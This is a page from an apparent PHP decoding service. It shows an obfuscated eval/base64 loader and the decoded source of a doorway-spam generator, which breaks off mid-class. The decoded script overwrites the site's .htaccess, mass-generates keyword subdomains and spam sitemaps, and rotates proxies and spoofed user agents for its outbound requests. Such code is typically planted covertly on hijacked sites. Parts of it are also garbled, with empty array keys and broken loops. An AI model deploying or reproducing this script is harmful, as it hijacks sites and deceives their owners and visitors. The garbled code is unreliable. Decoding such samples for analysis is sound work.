Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<? eval(gzuncompress(base64_decode('eF5Tcffxd3L0CY5Wjzc0NDc1NDYxMTWPV4+1dSwqSqzU0LQGAJAHCL..
Decoded Output download
timer::start();error_reporting(E_ERROR);define('HTTP_HOST',$_SERVER['HTTP_HOST']);define('ROOT_DIR',$_SERVER['DOCUMENT_ROOT']);class _File{public static function Open($file_name,$mode){self::MakePath($file_name);if(!file_exists($file_name))$fp=fopen($file_name,'w+');else $fp=fopen($file_name,$mode);flock($fp,LOCK_EX);return $fp;}public static function Close($Handle){flock($Handle,LOCK_UN);fclose($Handle);}public static function Write($Handle,$String){fwrite($Handle,$String);}public static function PutContent($Path,$Content){self::MakePath($Path);file_put_contents($Path,$Content);}public static function MakePath($path){if(file_exists($path))return;$path_arr=split('[\\/]',$path);$path=array_shift($path_arr);$file=array_pop($path_arr);if(!preg_match('~\.[^.]+$~ism',$file))$path[]=$file;foreach($path_arr as $folder){$path=self::MakeDirectory($path,$folder);}}public static function MakeDirectory($path,$folder=false){if($folder)$path=$path .'/' .$folder;$path=preg_replace('~[\\/]+~','/',$path);if(!file_exists($path))mkdir($path);return $path;}public static function RemoveDir($path){if(file_exists($path)&& is_dir($path)){$dirHandle=opendir($path);while(false !==($file=readdir($dirHandle))){if($file!='.'&& $file!='..'){$tmpPath=$path .'/' .$file;chmod($tmpPath,0777);if(is_dir($tmpPath)){self::RemoveDir($tmpPath);}else{if(file_exists($tmpPath)){unlink($tmpPath);}}}}closedir($dirHandle);if(file_exists($path)){rmdir($path);}}}}class SM_Pattern{public $Pattern;public $FilePath;public $RelativePath;public $URL;public $Links;private $Template;private $fopen;private $Host;public function SetMapTemplate($Template){if(is_file($Template)&& file_exists($Template))$Template=file_get_contents($Template);$this->Template=$Template;}public function SM_Pattern($Pattern,$RelativePath,$Host=false){$this->Pattern=$Pattern;$this->RelativePath=$RelativePath;$this->Host=$Host;$this->FilePath=str_replace('{ROOT_DIR}',$_SERVER['DOCUMENT_ROOT'],$RelativePath);$this->URL=$Host?str_replace('{ROOT_DIR}',"http://{$Host}",$RelativePath):str_replace('{ROOT_DIR}','',$RelativePath);}public function SetNewPath($NewRelativePath){$this->FilePath=str_replace('{ROOT_DIR}',$_SERVER['DOCUMENT_ROOT'],$NewRelativePath);$this->URL=$this->Host?str_replace('{ROOT_DIR}',"http://{$this->Host}",$NewRelativePath):str_replace('{ROOT_DIR}','',$NewRelativePath);}public function AddLink($Keyword,$Link){if(!$this->fopen)$this->fopen=_File::Open($this->FilePath,'a+');$link=strtr($this->Pattern,array('{KEYWORD}'=> $Keyword,'{LINK}'=> $Link));_File::Write($this->fopen,$link ."\n");}public function Close(){if($this->fopen)_File::Close($this->fopen);}public function AddLinkToArray($Keyword,$Link){$this->Links[]=strtr($this->Pattern,array('{KEYWORD}'=> $Keyword,'{LINK}'=> $Link));}public function SaveArrayInFile($shuffle=false){if(!count($this->Links))return false;if($shuffle)shuffle($this->Links);$links=implode('',$this->Links);$content=$this->Template?str_replace('{MAP}',$links,$this->Template):$links;_File::PutContent($this->FilePath,$content);}public function Count(){return count($this->Links);}public function GetSitemapUrl(){return $this->URL;}public function Clear(){$this->Links=array();}public function DeleteSiteMap(){if(file_exists($this->FilePath))unlink($this->FilePath);}}class SM_Patterns{public $List;private $Host;public function SM_Patterns($Host){$this->Host=$Host;}public function SetHost($Host){$this->Host=$Host;}public function Add($Pattern,$RelativePath){$this->List[]=new SM_Pattern($Pattern,$RelativePath,$this->Host);}public function AddLinkInSM($Keyword,$Link){if(!count($this->List))return;foreach($this->List as $pattern){$pattern->AddLink($Keyword,$Link);}}public function DeleteSiteMaps(){if(!count($this->List))return;foreach($this->List as $id => $pattern){$pattern->DeleteSiteMap();}}public function Close(){if(!count($this->List))return;foreach($this->List as $pattern){$pattern->Close();}}}class Sitemap{const SM_ONLY_SUBDOMAINS=1;const SM_SUBDOMAINS_WITH_INNER_LINKS=2;const SM_DOMAIN_WITH_INNER_LINKS=3;const SM_ALL=4;const SM_DOMAIN_WITH_FOLDER_AND_INNER_LINKS=5;private $MainHost;public function SetMainHost($MainHost){$this->MainHost=$MainHost;$this->SM_Patterns->SetHost($MainHost);}private $Mode=self::SM_SUBDOMAINS_WITH_INNER_LINKS;public function SetMode($value){$this->Mode=$value;}private $CountInnerLinksInCurrentMap=0;private $CountInnerLinksInMap=300;public function SetCountInnerLinksInMap($value){if($this->Mode != self::SM_ONLY_SUBDOMAINS){$this->CountInnerLinksInMap=$value;}else $this->CountInnerLinksInMap=0;}private $CountSubdomainLinksInCurrentMap=0;private $CountMainPagesLinksInCurrentMap=0;private $CountMainPagesLinksInMap=0;public function SetCountMainPagesLinksInMap($value){if($this->Mode != self::SM_DOMAIN_WITH_INNER_LINKS){$this->CountMainPagesLinksInMap=$value;}else $this->CountMainPagesLinksInMap=0;}private $MainSMPattern;public function SetMainSMPattern($Pattern,$FolderPath){$this->MainSMPattern=new SM_Pattern($Pattern,$FolderPath,$this->MainHost);}public function SetMainSM_Pattern($SM_Pattern){$this->MainSMPattern=$SM_Pattern;}private $Template;public function SetMapTemplate($Template,$Folder=false){$file_name=preg_replace('~[\\/]+~','/',$Folder .$Template);if(is_file($file_name)&& file_exists($file_name)){$Template=file_get_contents(preg_replace('~[\\/]+~','/',$Folder .$Template));}$this->Template=$Template;}public function GetSitemapURL(){return $this->MainSMPattern->GetSitemapUrl();}public $SM_Patterns;public function SetSM_Patterns($SM_Patterns){$this->SM_Patterns=$SM_Patterns;}public function Sitemap($Host){$this->MainHost=$Host;$this->SM_Patterns=new SM_Patterns($Host);}public function Make($RequestURI=false){if(stristr($_SERVER['REQUEST_URI'],($RequestURI?$RequestURI:'make_sitemaps'))){$this->SM_Patterns->DeleteSiteMaps();$this->MakeSiteMaps();exit;}}public function MakeSiteMaps(){$keywords=file(keywords::$binary_keywords_path);shuffle($keywords);$count_urls_in_map=$this->CountInnerLinksInMap+$this->CountMainPagesLinksInMap;if($this->Mode == self::SM_DOMAIN_WITH_FOLDER_AND_INNER_LINKS)$count_urls_in_map=$this->CountInnerLinksInMap;$max=max(array($this->CountInnerLinksInMap,$this->CountMainPagesLinksInMap));$maps_count=floor(sizeof($keywords)/$max);$SM_Relative_Path=$this->MainSMPattern->RelativePath;$SM_folder_path=$this->MainSMPattern->FilePath;$this->SM_Patterns->AddLinkInSM($this->MainHost,"http://{$this->MainHost}/");for($sm_num=1;$sm_num <= $maps_count;$sm_num++){$this->MainSMPattern->SetNewPath("{$SM_Relative_Path}{$sm_num}.html");$this->SM_Patterns->AddLinkInSM("Sitemap $sm_num",$this->MainSMPattern->URL);}$map_number=1;$MS_MainPage=new SM_Pattern($this->MainSMPattern->Pattern,$SM_Relative_Path .'index.html',$this->MainHost);$MS_MainPage->SetMapTemplate($this->Template);for($i=0;$i<sizeof($keywords);$i++){$keyword=explode('||',$keywords[$i]);$temp_sub_keyword=isset($keyword[$i+5])?$keywords[$i+5]:$keywords[$i-5];$sub_keyword=explode('||',$temp_sub_keyword);$keyword=new keyword(trim($keyword[1]),trim($keyword[0]),new positions($i,$i*strlen($keywords[$i])));$sub_keyword=new keyword(trim($sub_keyword[1]),trim($sub_keyword[0]),new positions($i,$i*strlen($temp_sub_keyword)));$subdomain=$this->MakeSubdomain($keyword);$inner_link=$this->MakeInnerLink($keyword,$sub_keyword);if($subdomain)$this->SM_Patterns->AddLinkInSM($subdomain->anchor,$subdomain->url);if($inner_link)$this->SM_Patterns->AddLinkInSM($inner_link->anchor,$inner_link->url);$this->MainSMPattern->SetNewPath("{$SM_Relative_Path}{$map_number}.html");if($subdomain)$this->MainSMPattern->AddLinkToArray($subdomain->anchor,$subdomain->url);if($inner_link)$this->MainSMPattern->AddLinkToArray($inner_link->anchor,$inner_link->url);if($this->MainSMPattern->Count()>= $count_urls_in_map){$this->MainSMPattern->SetMapTemplate($this->Template);$this->MainSMPattern->SaveArrayInFile(true);$this->MainSMPattern->Clear();$MS_MainPage->AddLinkToArray("Main page $map_number",$this->MainSMPattern->URL);$map_number++;$this->CountSubdomainLinksInCurrentMap=0;$this->CountInnerLinksInCurrentMap=0;}}$MS_MainPage->SaveArrayInFile();$SM_Url=$MS_MainPage->GetSitemapURL();$this->SM_Patterns->Close();$MS_MainPage->Close();echo"<a href=\"{$SM_Url}\">Sitemap</a>";}function MakeSubdomain($keyword){if($this->Mode == self::SM_ALL || $this->Mode == self::SM_SUBDOMAINS_WITH_INNER_LINKS || $this->Mode == self::SM_ONLY_SUBDOMAINS){if($this->CountMainPagesLinksInMap>$this->CountSubdomainLinksInCurrentMap){$this->CountSubdomainLinksInCurrentMap++;return new link($keyword,"http://{$keyword->link_body}.{$this->MainHost}/");}}return false;}function MakeDomainWithLink($keyword,$keyword_on_sub=null){if($this->Mode == self::SM_ALL || $this->Mode == self::SM_DOMAIN_WITH_INNER_LINKS){if($this->CountInnerLinksInMap>$this->CountInnerLinksInCurrentMap){$this->CountInnerLinksInCurrentMap++;return new link($keyword,"http://{$this->MainHost}/$keyword->link_body.html");}}return false;}function MakeFolderWithLink($keyword,$keyword_on_sub=null){if($this->Mode == self::SM_DOMAIN_WITH_FOLDER_AND_INNER_LINKS){if($this->CountInnerLinksInMap>$this->CountInnerLinksInCurrentMap){$this->CountInnerLinksInCurrentMap++;if(!$keyword_on_sub)return new link($keyword,"http://{$this->MainHost}/{$keyword->link_body}/");return new link($keyword,"http://{$this->MainHost}/{$keyword_on_sub->link_body}/$keyword->link_body.html");}}return false;}function MakeSubdomainWithLink($keyword,$keyword_on_sub=null){if($this->Mode == self::SM_ALL || $this->Mode == self::SM_SUBDOMAINS_WITH_INNER_LINKS){if($this->CountInnerLinksInMap>$this->CountInnerLinksInCurrentMap){$this->CountInnerLinksInCurrentMap++;if(!$keyword_on_sub)return new link($keyword,"http://{$keyword->link_body}.{$this->MainHost}/$keyword->link_body.html");return new link($keyword,"http://{$keyword_on_sub->link_body}.{$this->MainHost}/$keyword->link_body.html");}}return false;}function MakeInnerLink($keyword,$keyword_on_sub=null){if($this->Mode == self::SM_ALL){if(mt_rand(0,1))return $this->MakeSubdomainWithLink($keyword,$keyword_on_sub);else return $this->MakeDomainWithLink($keyword,$keyword_on_sub);}elseif($this->Mode == self::SM_SUBDOMAINS_WITH_INNER_LINKS){return $this->MakeSubdomainWithLink($keyword,$keyword_on_sub);}elseif($this->Mode == self::SM_DOMAIN_WITH_INNER_LINKS){return $this->MakeDomainWithLink($keyword,$keyword_on_sub);}elseif($this->Mode == self::SM_DOMAIN_WITH_FOLDER_AND_INNER_LINKS){if(mt_rand(0,1))return $this->MakeFolderWithLink($keyword);else return $this->MakeFolderWithLink($keyword,$keyword_on_sub);}return false;}}class Install{private $KeywordsPath;public function SetKeywordsPath($value){$this->KeywordsPath=preg_replace('~[\\/]+~','/',$value);}private $BinaryKeywordsPath;public function SetBinaryKeywordsPath($value){$this->BinaryKeywordsPath=preg_replace('~[\\/]+~','/',$value);}public function Install($KeywordsPath=false,$BinaryKeywordsPath=false){$this->SetKeywordsPath($KeywordsPath);$this->SetBinaryKeywordsPath($BinaryKeywordsPath);$this->Textmaker=new Textmaker();}private $Textmaker;public function SetBaseContentPath($value){$this->Textmaker->SetBasePath($value);}public function SetInnerContentPath($value){$this->Textmaker->SetInnerTextPath($value);}private function make_htaccess(){file_put_contents($_SERVER['DOCUMENT_ROOT'] .'/.htaccess',"RewriteEngine on
Options +FollowSymlinks
# www
RewriteBase /
RewriteCond %{HTTP_HOST} ^www.{$_SERVER['HTTP_HOST']}$
RewriteRule ^ http://{$_SERVER['HTTP_HOST']}%{REQUEST_URI} [R=301,L]
#
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^(.*)$ index.php [L,QSA]");}private function make_keywords(){$keywords=file($this->KeywordsPath);$keywords=array_unique($keywords);$data=array();foreach($keywords as $key){$key=trim($key);if(strlen($key)>50)continue;$key_translate=translate::eng($key);$key_translate=preg_replace('~[^a-z0-9_\- ]+~ism','',$key_translate);$key_translate=preg_replace('~[\s\-]+~ism','-',$key_translate);$key=preg_replace('~[\s]+~ism',' ',$key);$key=preg_replace('~[\-]+~ism','-',$key);$data[]=array($key_translate,trim($key));}$search=new binary_search_col($this->BinaryKeywordsPath,0,'||');$search->make_indexed_file($data);}public function Run($request_uri_in=false,$request_uri_out=false){set_time_limit(0);if(!stristr($_SERVER['REQUEST_URI'],($request_uri_in?$request_uri_in:'install')))return;if(!file_exists($this->KeywordsPath)|| file_exists($this->BinaryKeywordsPath))return;$this->Textmaker->MakeBase();$this->make_keywords();$this->make_htaccess();if($request_uri_out)$_SERVER['REQUEST_URI']=$request_uri_out;else exit;}}class Encoding{static public function Encode($text,$output_charset){mb_internal_encoding($output_charset);$encode=self::DetectHTMLDocEncoding($text);$encode=$encode?$encode:self::DetectTextEncoding($text);return mb_convert_encoding($text,$output_charset,$encode);}static public function DetectHTMLDocEncoding($content){if(!$content)return false;preg_match("/charset=(['\"]|)(.*?)(\n|'|\"|>)/ism",$content,$charset);$charset=@trim($charset[2]);if(preg_match("~(windows-1251|1251)~ism",$charset))return 'Windows-1251';elseif(preg_match("~(koi8|iso-ir-111)~ism",$charset))return 'KOI8-R';elseif(preg_match("~iso-8859-5~ism",$charset))return 'ISO-8889-5';elseif(preg_match("~ibm866~ism",$charset))return 'ibm866';elseif(preg_match("~x-mac-(cyrillic|ukrainian)~ism",$charset))return 'x-mac-(cyrillic|ukrainian)';elseif(preg_match("~ibm855~ism",$charset))return 'Windows-1251';elseif(preg_match("~utf-8~ism",$charset))return 'UTF-8';}public static function DetectTextEncoding($text){setlocale(LC_CTYPE,'ru_RU');$x_win=array(''=>'0.07890365448505',''=>'0.013981173864895',''=>'0.043050941306755',''=>'0.018687707641196',''=>'0.027685492801772',''=>'0.089285714285714',''=>'0.0094130675526024',''=>'0.01578073089701',''=>'0.071151716500554',''=>'0.013427464008859',''=>'0.038898117386489',''=>'0.044435215946844',''=>'0.032392026578073',''=>'0.072120708748616',''=>'0.11600221483942',''=>'0.024363233665559',''=>'0.040420819490587',''=>'0.054817275747508',''=>'0.063538205980066',''=>'0.024363233665559',''=>'0.0016611295681063',''=>'0.0080287929125138',''=>'0.0038759689922481',''=>'0.017303433001107',''=>'0.008859357696567',''=>'0.0024916943521595',''=>'0.00027685492801772',''=>'0.018410852713178',''=>'0.017995570321152',''=>'0.002906976744186',''=>'0.0065060908084164',''=>'0.018964562569214');$x_koi=array(''=>'0.07890365448505',''=>'0.013981173864895',''=>'0.043050941306755',''=>'0.018687707641196',''=>'0.027685492801772',''=>'0.089285714285714',''=>'0.0094130675526024',''=>'0.01578073089701',''=>'0.071151716500554',''=>'0.013427464008859',''=>'0.038898117386489',''=>'0.044435215946844',''=>'0.032392026578073',''=>'0.072120708748616',''=>'0.11600221483942',''=>'0.024363233665559',''=>'0.040420819490587',''=>'0.054817275747508',''=>'0.063538205980066',''=>'0.024363233665559',''=>'0.0016611295681063',''=>'0.0080287929125138',''=>'0.0038759689922481',''=>'0.017303433001107',''=>'0.008859357696567',''=>'0.0024916943521595',''=>'0.00027685492801772',''=>'0.018410852713178',''=>'0.017995570321152',''=>'0.002906976744186',''=>'0.0065060908084164',''=>'0.018964562569214');$x_iso=array(''=>'0.07890365448505',''=>'0.013981173864895',''=>'0.043050941306755',''=>'0.018687707641196',''=>'0.027685492801772',''=>'0.089285714285714',''=>'0.0094130675526024',''=>'0.01578073089701',''=>'0.071151716500554',''=>'0.013427464008859',''=>'0.038898117386489',''=>'0.044435215946844',''=>'0.032392026578073',''=>'0.072120708748616',''=>'0.11600221483942',''=>'0.024363233665559',''=>'0.040420819490587',''=>'0.054817275747508',''=>'0.063538205980066',''=>'0.024363233665559',''=>'0.0016611295681063',''=>'0.0080287929125138',''=>'0.0038759689922481',''=>'0.017303433001107',''=>'0.008859357696567',''=>'0.0024916943521595',''=>'0.00027685492801772',''=>'0.018410852713178',''=>'0.017995570321152',''=>'0.002906976744186',''=>'0.0065060908084164',''=>'0.018964562569214');$x_dos=array(' '=>'0.07890365448505',''=>'0.013981173864895',''=>'0.043050941306755',''=>'0.018687707641196',''=>'0.027685492801772',''=>'0.089285714285714',''=>'0.0094130675526024',''=>'0.01578073089701',''=>'0.071151716500554',''=>'0.013427464008859',''=>'0.038898117386489',''=>'0.044435215946844',''=>'0.032392026578073','_'=>'0.072120708748616',''=>'0.11600221483942',''=>'0.024363233665559',''=>'0.040420819490587',''=>'0.054817275747508',''=>'0.063538205980066',''=>'0.024363233665559',''=>'0.0016611295681063',''=>'0.0080287929125138',''=>'0.0038759689922481',''=>'0.017303433001107',''=>'0.008859357696567',''=>'0.0024916943521595',''=>'0.00027685492801772',''=>'0.018410852713178',''=>'0.017995570321152',''=>'0.002906976744186',''=>'0.0065060908084164',''=>'0.018964562569214');$text=substr($text,0,1000);$len=strlen($text);for($i=0;$i<$len;$i++){@$let=strtolower($text[$i]);@$t[$let]++;}if(is_array($t))foreach($t as $k => $v){@$t_win += $v*$x_win[$k];@$t_koi += $v*$x_koi[$k];@$t_iso += $v*$x_iso[$k];@$t_dos += $v*$x_dos[$k];}$r='none';$tmp=max($t_win,$t_koi,$t_iso,$t_dos);if($t_win == $tmp)$r='Windows-1251';if($t_koi == $tmp)$r='KOI8-R';if($t_iso == $tmp)$r='ISO-8889-5';if($t_dos == $tmp)$r='Windows-1251';return $r;}}class WebProxy{public $adress;public $port;public $login;public $password;public $ISLocalIP;public function ISLocalIP($ISLocalIP=true){$this->ISLocalIP=$ISLocalIP;}public function WebProxy($adress=null,$port=null,$login=null,$password=null){$this->adress=$adress;$this->port=$port;$this->login=$login;$this->password=$password;}public function FromString($proxy){$proxy=split("[:\t;]",$proxy);$this->adress=trim($proxy[0]);$this->port=isset($proxy[1])?trim($proxy[1]):80;$this->login=isset($proxy[2])?trim($proxy[2]):null;$this->password=isset($proxy[3])?trim($proxy[3]):null;}}class ProxyData{public $Proxy;public $IsBad;public $LastUseTime;public function ProxyData($Proxy,$IsBad,$LastUseTime){$this->Proxy=$Proxy;$this->IsBad=$IsBad;$this->LastUseTime=$LastUseTime;}}class ProxyManager{public $UseProxyTimeout;public $BadProxyTimeout;public $DeleteBadProxy;public $Enabled;protected $ISLocalIP=false;public function ProxyManager($Enabled=true,$UseProxyTimeout=60,$BadProxyTimeout=200,$DeleteBadProxy=true){$this->Enabled=$Enabled;$this->UseProxyTimeout=$UseProxyTimeout;$this->BadProxyTimeout=$BadProxyTimeout;$this->DeleteBadProxy=$DeleteBadProxy;}public function UpdateProxyList(){foreach($this->ProxyList as $index => $_Proxy){if($_Proxy->IsBad && $_Proxy->LastUseTime<time()-$this->BadProxyTimeout){$this->ProxyList[$index]->IsBad=false;}}}public function GetValidProxyList(){$this->UpdateProxyList();$time=$this->UseProxyTimeout;$ValidProxyList=array();foreach($this->ProxyList as $index => $_Proxy){if(!$_Proxy->IsBad && $_Proxy->LastUseTime<time()-$this->UseProxyTimeout){$ValidProxyList[]=$_Proxy;}}return $ValidProxyList;}public function RemoveProxy($Proxy){foreach($this->ProxyList as $index => $_Proxy){if($_Proxy == $Proxy){unset($this->ProxyList[$index]);return;}}}public function StopBadProxy($Proxy){if($this->DeleteBadProxy){$this->RemoveProxy($Proxy);return;}foreach($this->ProxyList as $index => $_Proxy){if($_Proxy == $Proxy){$this->ProxyList[$index]->LastUseTime=time();$this->ProxyList[$index]->IsBad=true;return;}}}private $Proxy=null;public function GetCurrentProxy(){if(!$this->Enabled)return null;if($_Proxy == null)return $this->RandomProxy();else return $_Proxy;}public function SetCurrentProxy($value){$_Proxy=$value;}public function ProxyFromString($string){$_Proxy=new WebProxy();$_Proxy->FromString($string);}public function RandomProxy(){if(!$this->Enabled)return null;if(!$this->ProxyList)return null;if(count($this->ProxyList)== 0)return null;$_Proxy=$this->ProxyList[mt_rand(0,count($this->ProxyList))];return $_Proxy;}public function RandomValidProxy(){if(!$this->Enabled)return null;if(!$this->ProxyList)return null;if(count($this->ProxyList)== 0)return null;$ValidProxyList=$this->GetValidProxyList();return $ValidProxyList[mt_rand(0,count($ValidProxyList)-1)]->Proxy;}public function ClearCurrentProxy(){$this->_Proxy=null;}public function RemoveCurrentProxy(){if($this->_Proxy != null)$this->RemoveProxy($this->_Proxy);}public $ProxyList;public function SetProxyList($proxy_list){if(is_file($proxy_list)&& file_exists($proxy_list))$proxy_list=file_get_contents($proxy_list);if(is_string($proxy_list))$proxy_list=split("[\r\n]",$proxy_list);foreach($proxy_list as $proxy){$this->AddProxy($proxy);}}public function AddProxy($WebProxy){if($this->ProxyList == null)$this->ProxyList=array();if(is_string($WebProxy)){if(!trim($WebProxy))return;$proxy=new WebProxy();$proxy->ISLocalIP($this->ISLocalIP);$proxy->FromString($WebProxy);$this->AddProxy($proxy);}else $this->ProxyList[]=new ProxyData($WebProxy,false,time()-100*60*60*24);}public function Clear(){$this->ProxyList=array();}}class LocalIpAsProxyManager extends ProxyManager{public function LocalIpAsProxyManager($UseIpTimeout=60,$BadIpTimeout=200){$this->Enabled=true;$this->UseProxyTimeout=$UseIpTimeout;$this->BadProxyTimeout=$BadIpTimeout;$this->DeleteBadProxy=false;$this->ISLocalIP=true;}}class UserAgentsManager{public $UserAgentsList=array('Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.18)','Mozilla/2.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.19)','Mozilla/3.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.11)','Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.12)','Mozilla/4.7 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.13)','Opera/9.15 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.11)','Opera/9.20 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.19)','Opera/9.40 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.18)','Opera/8.2beta (Windows; U; Windows NT 5.1; ru; rv:1.8.2.44)','Opera/9.16 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.10)','Opera/7.15 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.28)','Opera/8.92 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.38)','Opera/8.95 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.48)','Opera/9.33 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.58)','Opera/9.45 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.68)','Opera/9.55 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.78)','Opera/9.62 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.88)','IE 4.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.2.18)','IE 5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.3.18)','IE 6.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.4.18)','IE 7.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.5.18)','IE 5.5 (Windows; U; Windows NT 5.1; ru; rv:1.8.6.18)','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.0.249.78 Safari/532.5','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20061031 Firefox/1.5.0.7 Flock/0.7.7','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060928 (Debian|Debian-1.8.0.7-1) Epiphany/2.14','Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)','Mozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.7.12) Gecko/20050929','Mozilla/5.0 (Windows; I; Windows NT 5.1; ru; rv:1.9.2.13) Gecko/20100101 Firefox/4.0','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20060127 Netscape/8.1','Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.8.131 Version/11.10','Opera/9.80 (Macintosh; Intel Mac OS X 10.6.7; U; ru) Presto/2.8.131 Version/11.10','Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru) AppleWebKit/534.31+ (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1');private $CurrentUserAgent;public function CurrentUserAgent(){if(!$this->CurrentUserAgent)return $this->RrandomUserAgent();else return $this->CurrentUserAgent;}public function SetCurrentUserAgent($user_agent){if(!in_array($user_agent,$this->UserAgentsList))$this->Add($user_agent);$this->CurrentUserAgent=$user_agent;}public function RrandomUserAgent(){$key=mt_rand(0,count($this->UserAgentsList)-1);return $this->UserAgentsList[$key];}public function SetUserAgents($user_agents){if(is_file($user_agents)&& file_exists($user_agents))$user_agents=file_get_contents($user_agents);if(is_string($user_agents))$user_agents=split("[\r\n]",$user_agents);foreach($user_agents as $user_agent){if(!$this->Add($user_agent))continue;}}public function Add($user_agent){if(!trim($user_agent))return false;$this->UserAgentsList[]=trim($user_agent);return true;}public function clear(){$this->UserAgentsList=array();}}class PostData{public $Multipart='multipart/form-data';public $Variables;public $UseMultipart;}class RequestData{const METHOD_GET='get';const METHOD_POST='post';const STATE_FAILED="Failed";const STATE_RETRIEVING="Retrieving";const STATE_FINISHED="Finished";const STATE_TIMEOUT="Timeout";public $Url;public $Host;public $Port;public $Proxy;public $UserAgent;public $PathQuery;public $State;public $RequestMethod;public $Referer;public $Content='';public $Size=0;public $ConnectTimeout=0;public $Timeout=0;public $Request;public $PostData=null;private $Boundary;public $OtherData;public function SetOtherData($OtherData){$this->OtherData=$OtherData;}public function RequestData($url){$this->SetUrl($url);$this->Referer='http://' .$this->Host .'/';$this->Boundary="NEXT" .md5(uniqid(microtime()));}public function SetUrl($url){$url_data=parse_url($url);$url_data['path']=@$url_data['path']?$url_data['path']:'/';$this->Url=$url;$this->Host=$url_data['host'];$this->Port=empty($url_data['port'])?80:$url_data['port'];$this->PathQuery=empty($url_data['query'])?$url_data['path']:$url_data['path'] .'?' .$url_data['query'];}public function SetState($State){$this->State=$State;}public function SetProxy($WebProxy){if(!$WebProxy)return false;$this->Proxy=$WebProxy;}public function SetUserAgent($UserAgent){$this->UserAgent=$UserAgent;}public function SetPostData($PostData,$UseMultipart=false){$this->PostData->Variables=$PostData;$this->PostData->UseMultipart=$UseMultipart;}public function SetRequestMethod($RequestMethod){$this->RequestMethod=$RequestMethod;}public function SetReferer($Referer){if(!trim($Referer))return;$this->Referer=$Referer;}public function SetConnectTimeout($Value){$this->ConnectTimeout=$Value;}public function SetContent($Content){$this->Content=$Content;}public function AddContent($Content){$this->Content .= $Content;}public function GetRequest(){if(!$this->Request)return $this->Request;return $this->MakeRequest();}function RequestWithProxy($method){if(!$this->Proxy)return false;$this->Request="{$method} {$this->Url} HTTP/1.0\r\n";$this->Request .="Host: {$this->Proxy->adress}\r\n";if($this->Proxy->login && $this->Proxy->password)$this->Request .= "Proxy-Authorization: Basic " .base64_encode("{$this->Proxy->login}:{$this->Proxy->password}") ."\r\n\r\n";}function RequestWithoutProxy($method){if($this->Proxy)return false;$this->Request="{$method} {$this->PathQuery} HTTP/1.0\r\n";$this->Request .="Host: {$this->Host}\r\n";}public function MakeRequest(){switch($this->RequestMethod){case self::METHOD_GET:$this->RequestWithProxy('GET');$this->RequestWithoutProxy('GET');$this->Request .="Referer: {$this->Referer}\r\n";$this->Request .= "Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\n";$this->Request .= "Accept-Language: ru\r\n";$this->Request .= "Accept-Charset: windows-1251, utf-8;q=0.6, *;q=0.1\r\n";$this->Request .= "Expires: no-store, no-cache, must-revalidate\r\n";$this->Request .= "Cache-Control: no-cache\r\n";$this->Request .="User-Agent: {$this->UserAgent}\r\n";$this->Request .= "Connection: close\r\n";$this->Request .= "\r\n";break;case self::METHOD_POST:$this->RequestWithProxy('POST');$this->RequestWithoutProxy('POST');switch(strtolower($this->PostData->UseMultipart)){case true:parse_str($variables,$variables);while(list($key,$key)=key){$query_data .= "--" .$this->boundary ."\r\n";$query_data .="Content-Disposition: form-data; name=\"{$key}\"\r\n\r\n";$query_data .="{$value}\r\n";}$query_data .= "--" .$this->boundary ."--\r\n";$this->Request .="User-Agent: {$this->UserAgent}\r\n" ."Referer: {$this->Referer}\r\n" ."Content-Type: multipart/form-data; boundary=" .$this->boundary ."\r\n" ."Content-Length: " .strlen($query_data) ."\r\n" ."Connection: close\r\n" ."\r\n" .$query_data;break;default:$query_data=$variables;$this->Request .="User-Agent: {$this->UserAgent}\r\n" ."Referer: {$this->Referer}\r\n" ."Content-Type: application/x-www-form-urlencoded\r\n" ."Content-Length: " .strlen($query_data) ."\r\n" ."Connection: close\r\n" ."\r\n" .$query_data;break;}}}}class UrlWithOtherData{public $Url;public $OtherData;public function UrlWithOtherData($Url,$OtherData){$this->Url=$Url;$this->OtherData=$OtherData;}}class HTTP_Request{const CURL='Curl';const SOCKETS='Sockets';const SOCKS5='SOCKS5';const SOCKS4='SOCKS4';const HTTP=false;public $RequestType=self::SOCKETS;public function SetRequestType($value){$this->RequestType=$value;}public $ProxyType;public function SetProxyType($value){$this->ProxyType=$value;}private $text_output_charset='UTF-8';public function set_output_charset($charset){$this->text_output_charset=$charset;}public $UserAgentsManager;public function SetUserAgentsManager($user_agents_manager){$this->UserAgentsManager=$user_agents_manager;}public function SetUserAgents($user_agents){$this->UserAgentsManager->SetUserAgents($user_agents);}public $ProxyManager;public function SetProxyManager($ProxyManager){if($ProxyManager)$this->ProxyManager=$ProxyManager;}public $LocalIpManager;public function 